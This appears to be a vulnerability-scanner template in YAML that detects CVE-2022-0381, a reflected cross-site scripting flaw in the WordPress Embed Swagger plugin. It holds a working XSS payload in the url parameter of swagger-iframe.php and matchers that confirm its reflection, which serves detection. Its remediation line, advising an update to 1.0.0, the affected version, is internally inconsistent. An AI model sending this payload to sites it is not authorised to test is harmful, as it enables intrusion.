id: CVE-2022-0381

info:
  name: WordPress Embed Swagger <=1.0.0 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    WordPress Embed Swagger plugin 1.0.0 and prior contains a reflected cross-site scripting vulnerability due to insufficient escaping/sanitization and validation via the url parameter found in the ~/swagger-iframe.php file, which allows attackers to inject arbitrary web scripts onto the page.
  remediation: |
    Update to the latest version of the WordPress Embed Swagger plugin (1.0.0) or apply a patch provided by the vendor.
  reference:
    - https://gist.github.com/Xib3rR4dAr/4b3ea7960914e23c3a875b973a5b37a3
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2022-0381
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0381
    - https://plugins.trac.wordpress.org/browser/embed-swagger/trunk/swagger-iframe.php#L59
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0381
    cwe-id: CWE-79
    epss-score: 0.00218
    epss-percentile: 0.59478
    cpe: cpe:2.3:a:embed_swagger_project:embed_swagger:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: embed_swagger_project
    product: embed_swagger
    framework: wordpress
  tags: cve,cve2022,swagger,xss,wordpress

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/embed-swagger/swagger-iframe.php?url=xss://%22-alert(document.domain)-%22"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - "url: \"xss://\"-alert(document.domain)"

      - type: status
        status:
          - 200